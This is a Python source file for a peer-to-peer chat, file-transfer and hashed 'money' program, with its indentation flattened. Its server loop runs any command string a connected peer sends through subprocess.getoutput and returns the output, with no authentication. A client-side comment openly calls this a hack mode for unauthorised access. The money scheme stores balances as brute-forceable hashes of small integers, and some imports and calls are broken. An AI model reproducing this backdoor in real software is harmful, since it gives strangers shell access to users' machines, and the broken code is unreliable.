def base_check():
from modules import sqlite3, hashlib, random
comp = 'a'
donnee = (comp)
try:
conn = sqlite3.connect("virtual/system/base.db")
cur = conn.cursor()
cur.execute("create table info2 (dat )")
cur.execute("insert into info2 (dat) values(?)", donnee)
conn.commit()
cur.close()
conn.close()
conn = sqlite3.connect("virtual/system/base.db")
cur = conn.cursor()
pseudo = input(" enter your nickname : ")
mcode = input(" enter your secret money code : ")
money = 100
hache = random.randint(1000, 9999)
pseudo = hashlib.sha224((bytes(pseudo, 'utf8'))).hexdigest()
mcode = hashlib.sha224((bytes(mcode, 'utf8'))).hexdigest()
money = hashlib.sha224((bytes(str(money), 'utf8'))).hexdigest()
don = (pseudo, mcode, money, hache)
cur.execute("create table info (pseudo ,code,money,hache integer)")
cur.execute(
"insert into info (pseudo,code,money,hache) values(?,?,?,?)",
don)
print("recording perform ...")
conn.commit()
cur.close()
conn.close()
except sqlite3.OperationalError:
pass
def ip_base(hosta, hostb, temp):
from modules import sqlite3
donn = (hosta, hostb, str(temp))
try:
conn = sqlite3.connect("virtual/system/ip.db")
cur = conn.cursor()
cur.execute("create table ip (self_ip,other_ip, time ) ")
cur.execute(
"insert into ip (self_ip,other_ip, time ) values(?,?,?)", donn)
conn.commit()
cur.close()
conn.close()
except sqlite3.OperationalError:
conn = sqlite3.connect("virtual/system/ip.db")
cur = conn.cursor()
cur.execute(
"insert into ip (self_ip,other_ip, time ) values(?,?,?)", donn)
conn.commit()
cur.close()
conn.close()
def ip_rd():
from modules import sqlite3
conn2 = sqlite3.connect("virtual/system/ip.db")
cur = conn2.cursor()
cur.execute("select self_ip from ip")
for l in cur:
d = l
cur.execute("select other_ip from ip")
for l in cur:
s = l
cur.execute("select time from ip")
for l in cur:
n = l
return d[0], s[0], n[0]
def db_check():
from modules import sqlite3,hashlib
tnum=0
tb=1
conn3=sqlite3.connect("virtual/system/base.db")
cur3=conn3.cursor()
cur3.execute("select money from info")
for l in cur3:
liste_d=l
hmoney=(liste_d[0])
conn3.commit()
cur3.close()
conn3.close()
while tb==1:
tb2=hashlib.sha224((bytes(str(tnum),'utf8'))).hexdigest()
if tb2==hmoney:
tb=0
tmoney=tnum
else:
tnum+=1
return tmoney
def serveur():
from modules import calc,conf_r,time,zlib,datetime,sqlite3,subprocess,sys,os,hashlib,base
hosta,hostb,temp=base.ip_rd()
temp=int(temp)
inte=1
port = 5566
n=0
tim4=0.0
deb=0
ps2=False
ps3=0
if inte==1:
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host1=socket.gethostname()
host1=hosta
sock.bind((host1,port))
if n==0:
print("your network address is : ",str(hosta))
n+=1
while inte:
sock.listen()
conn, adress =sock.accept()
while inte:
msg2=conn.recv(1024).decode("utf8")
if msg2=="send":
neu=1
nou=0
msg3=conn.recv(1024).decode("utf8")
msg6 =conn.recv(1024).decode("utf8")
print("your friend sends you the file => ",str(msg3))
if deb==0:
seuc=input('press enter to validate !!! ')
if seuc=="":
seuc=5
else :
seuc=float(seuc)
deb+=1
msg4="virtual/receved/"
msg5=msg4+msg3
fd =open(msg5,'wb')
ft= open('virtual/system/temp','wb')
print("compression recu est "+msg6)
while neu:
tim1=time.time()
ft.write(conn.recv(1024))
tim2=time.time()
tim3=(tim2-tim1)
tim4+=tim3
if nou==0:
print("reception in progress")
nou+=1
if tim3>=seuc:
tim4=int(tim4)
ft.close()
neu=0
ft= open('virtual/system/temp','rb')
z_temp=ft.read()
ft.close()
z_fin=zlib.decompress(z_temp,wbits=0)
fd.write(z_fin)
fd.close()
os.remove('virtual/system/temp')
t_now=datetime.datetime.today()
forma_t="["+str(t_now.year)+'-'+str(t_now.month)+'-'+str(t_now.day)+' '+str(t_now.hour)+':'+str(t_now.minute)+':'+str(t_now.second)+"] \t "+msg3+" \t succesfuly receved \n"
ft2= open('virtual/system/receved.history','a')
ft2.write(forma_t)
ft2.close()
print("receive {} end with a time of {} seconds \n your message : ".format(msg3,tim4))
elif msg2=="cmd":
msg2=conn.recv(1024).decode("utf8")
h=subprocess.getoutput(msg2)
conn.send(str(h).encode("utf8"))
elif msg2=="exit":
print('disconnection !!!')
time.sleep(1)
exit()
elif msg2=='check':
pass
elif msg2=='sendall':
dec=conn.recv(1024).decode("utf8")
if dec=='end':
pass
else:
ps2=True
if ps2==True:
print('taille de la liste == ',dec)
lon=int(dec)
while ps3<lon:
pass
ps2=False
elif msg2=="money":
mrecu=""
mrecu=conn.recv(1024).decode("utf8")
print("you just received {} money".format(mrecu))
mrecu=int(mrecu)
if mrecu !=0:
conn2=sqlite3.connect("virtual/system/base.db")
cur=conn2.cursor()
cur.execute("select money from info")
for l in cur:
liste_d=l
cur.execute("select pseudo from info")
for l in cur:
liste_s=l
cur.execute("select code from info")
for l in cur:
liste_n=l
cur.execute("select hache from info")
for l in cur:
liste_h=l
t2money=(liste_d[0])
snum=0
tb=1
while tb==1:
ts2=hashlib.sha224((bytes(str(snum),'utf8'))).hexdigest()
if ts2==t2money:
tb=0
t3money=snum
else:
snum+=1
nmoney=mrecu+t3money
hmoney=hashlib.sha224((bytes(str(nmoney),'utf8'))).hexdigest()
don2=(liste_s[0],liste_n[0],hmoney,liste_h[0])
cur.execute("insert into info (pseudo,code,money,hache) values(?,?,?,?)",don2)
conn2.commit()
cur.close()
conn2.close()
else :
time.sleep(0.0)
print("\n message from your friend: ",str(msg2))
def client():
# modules necessaires
import time
from modules import calc,conf_r,time,zlib,datetime,sqlite3,subprocess,sys,compress_a,getpass,hashlib,base,db_check
# declaration des mains variable
hosta,hostb,temp=base.ip_rd()
temp=int(temp)
money=100
inte=0
port = 5566
n=0
dev=1
dba=False
pss=0
tmoney=0
# connexion au partit serveur
if inte==0:
print("attempt to connect to your friend ")
time.sleep(int(temp))
import socket
host2=hostb
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.connect((host2,port))
print("connection established with your friend")
# boucle principale pour gerer les messages
while inte ==0:
time.sleep(0.1)
msg = input(" Your message : ")
msg1=msg
socket.send(msg.encode("utf8"))
# gerer l'envoye de fichier unique
if msg1=="send":
while dev:
try:
name=input(str(("enter the name of the file or its full path:")))
time.sleep(1)
if '/' in name:
nes=0
nes2=0
nes3=0
for nez in name:
if nez=='/':
nes+=1
nes3=nes2
nes2+=1
raw=name[nes3+1:]
print('naw est : ',raw)
fs =open(name,'rb')
else:
raw=name
fs =open("virtual/sended/"+name,'rb')
break
except:
print("file not found !!! please check the file")
name=raw
print("sending {} in progress ...".format(name))
socket.send(name.encode("utf8"))
s1=time.time()
temp2=fs.read()
unit2,lon3 =calc.calc(temp2)
print(" \n la taille du fichier est de {} {}".format(str(lon3),str(unit2)))
comp_res,comp_lvl2 = compress_a(temp2,lon3,unit2)
print('\n level de compression est = {}'.format(comp_lvl2))
socket.sendall((str(comp_lvl2)).encode("utf8"))
socket.sendall(comp_res)
s2=time.time()
fs.close()
print("time taken to send: " ,str(int((s2-s1)))," seconde(s)")
print(" sent successful \n please wait a few seconds then type: ok")
if comp_lvl2==0:
slp=1
elif comp_lvl2 >= 1:
slp = comp_lvl2**2
t_now=datetime.datetime.today()
forma_t="["+str(t_now.year)+'-'+str(t_now.month)+'-'+str(t_now.day)+' '+str(t_now.hour)+':'+str(t_now.minute)+':'+str(t_now.second)+"] \t "+raw+" \t succesfuly send \n"
ft2= open('virtual/system/send.history','a')
ft2.write(forma_t)
ft2.close()
time.sleep(slp)
# gerer l'envoye de fichier multiple (en beta)
elif msg1=='sendall':
time.sleep(1)
name2=input(str(("enter the full path of the folder to send: ")))
try:
ch=os.listdir(name2)
print(ch)
pss=1
except:
print('invalid path specifier !!! ')
socket.send('end'.encode("utf8"))
pss=0
if pss==1:
socket.send(str(len(ch)).encode("utf8"))
if name2[-1]=='/':
pass
elif name2[-1]!='/':
name2=name2+'/'
print(name2)
# s'occupe de la fermeture du programme (en beta)
elif msg1=="exit":
print('disconnection !!!')
time.sleep(3)
exit()
# le fameux mode hack pour avoir des acces non autoriser
elif msg1=='cmd':
ck=input('hack_mod <<< ')
socket.send(ck.encode("utf8"))
tp=socket.recv(1024).decode("utf8")
print('return >>>',tp)
# partit charger de verifier le solde utilisateur restant
elif msg1=='check':
temp_money=db_check()
print('your amount is ',str(temp_money))
# aide
elif msg1=='':
print('use: \n send ==> to send a file \n money ==> to send money \n exit ==> to close the program \n check ==> your money amount')
# la partit responsable de la gestion monetaire
elif msg1=="money":
deb=1
msend=input("amount to send : ")
while deb:
try:
msend=int(msend)
deb=0
except :
deb=1
msend=input("incorrect amount; try again : ")
evy=int(msend)
conn=sqlite3.connect("virtual/system/base.db")
cur=conn.cursor()
cur.execute("select money from info")
for l in cur:
liste_d=l
cur.execute("select pseudo from info")
for l in cur:
liste_s=l
cur.execute("select code from info")
for l in cur:
liste_n=l
hmoney=(liste_d[0])
cur.execute("select hache from info")
for l in cur:
liste_h=l
tnum=0
tb=1
mdp=getpass.getpass(" enter the secret code : ")
mdp=hashlib.sha224((bytes(mdp,'utf8'))).hexdigest()
if mdp==liste_n[0]:
print('verification in progress ...')
while tb==1:
tb2=hashlib.sha224((bytes(str(tnum),'utf8'))).hexdigest()
if tb2==hmoney:
tb=0
tmoney=tnum
else:
tnum+=1
if evy > tmoney:
envy="0"
print(" your amount is insufficient + {} excess money ".format(str(evy-tmoney)))
elif 0<evy <= tmoney:
envy=str(evy)
tmoney = tmoney-evy
hmoney=hashlib.sha224((bytes(str(tmoney),'utf8'))).hexdigest()
don1=(liste_s[0],liste_n[0],hmoney,liste_h[0])
cur.execute("insert into info (pseudo,code,money,hache) values(?,?,?,?)",don1)
print("amount send ")
print("your current amount is {} money ".format(tmoney))
else:
envy="0"
print("an error occurred, transaction cancel ")
else:
print("Wrong password")
envy="0"
socket.sendall(envy.encode("utf8"))
conn.commit()
cur.close()
conn.close()